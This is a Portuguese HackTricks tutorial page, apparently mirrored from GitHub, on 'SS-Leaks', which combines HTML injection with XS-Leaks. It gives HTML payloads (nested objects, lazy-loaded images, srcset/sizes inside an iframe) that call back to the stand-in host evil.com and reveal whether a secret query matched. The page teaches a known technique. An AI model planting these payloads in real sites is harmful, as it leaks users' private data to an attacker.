mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
90 lines
6 KiB
Markdown
90 lines
6 KiB
Markdown
# SS-Leaks
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
Isto é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** daquela que estaremos atacando. Por outro lado, não vamos **atacar** diretamente a página onde podemos injetar HTML, mas **outra página**.
|
|
|
|
## Objetos Aninhados
|
|
|
|
Se o endpoint <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> retornar um código de status 404, então o `object` interno é carregado, dando um callback para <mark style="color:yellow;">`https://evil.com?callback=a`</mark> e nos informando que a consulta de pesquisa `a` não gerou resultados.
|
|
```html
|
|
<object data="/api/v1/leaky?secret=a">
|
|
<object data="https://evil.com?callback=a"></object>
|
|
</object>
|
|
```
|
|
### Carregamento Preguiçoso
|
|
|
|
E se o CSP bloquear objetos externos? Vamos tentar novamente com o seguinte CSP:
|
|
|
|
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
|
|
|
|
Nosso `object` de retorno de chamada acima já não funciona. Em seu lugar, podemos usar o carregamento preguiçoso de imagens [lazy loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy\_loading)! A seguinte imagem só será carregada quando estiver visível e a uma certa distância da área de visualização.
|
|
```html
|
|
<object data="/api/v1/leaky?secret=a">
|
|
<img src="https://evil.com?callback" loading="lazy">
|
|
</object>
|
|
```
|
|
### Imagens Responsivas
|
|
|
|
A técnica acima é ótima, mas depende da nossa injeção de HTML estar dentro do campo de visão do usuário.
|
|
|
|
Se a injeção estiver fora da tela e o usuário não rolar a página, ainda podemos vazar dados? Claro, podemos usar IDs de elementos e [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) para criar uma URL que force a rolagem, mas esses dependem da interação do usuário e não nos permitem alcançar vazamentos consistentes em um cenário real. Idealmente, queremos instrumentalizar a injeção de HTML armazenada de maneira confiável.
|
|
|
|
Entrem as imagens responsivas! Especificamente, os atributos `srcset` e `sizes` das imagens.
|
|
|
|
{% code overflow="wrap" %}
|
|
```html
|
|
<object data="/api/v1/leaky?secret=a">
|
|
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
|
|
</object>
|
|
```
|
|
```markdown
|
|
Há várias coisas para desempacotar aqui. Primeiro, lembre-se de que o iframe interno só será visível se o endpoint com vazamento retornar um código de status 404.
|
|
|
|
Isso é importante porque agora vamos carregar condicionalmente a imagem dentro do iframe a partir de duas URLs diferentes. Usando o atributo `sizes`, podemos usar [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries) para escolher de qual URL carregar a imagem, dependendo do tamanho da viewport.
|
|
```
|
|
```markdown
|
|
{% code overflow="wrap" %}
|
|
```
|
|
```html
|
|
<img
|
|
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
|
|
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
|
|
>
|
|
```
|
|
{% endcode %}
|
|
|
|
Porque nosso iframe tem `width="1000px"`, o seguinte acontece:
|
|
|
|
1. Se o endpoint com leak retorna um código de status 404, o iframe é exibido e tem uma largura de 1000px. A imagem dentro do iframe corresponde à media query `(min-width: 1000px)` e carrega a imagem de 800px de `https://evil.com?callback=0`.
|
|
2. Se o endpoint com leak retorna um código de status 200, o iframe _não_ é exibido. Como a imagem não está sendo renderizada como parte de um grande iframe, ela corresponde à media query `(max-width 999px)` e carrega a imagem de 480px de `https://evil.com?callback=1`.
|
|
|
|
## Referências
|
|
|
|
* [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|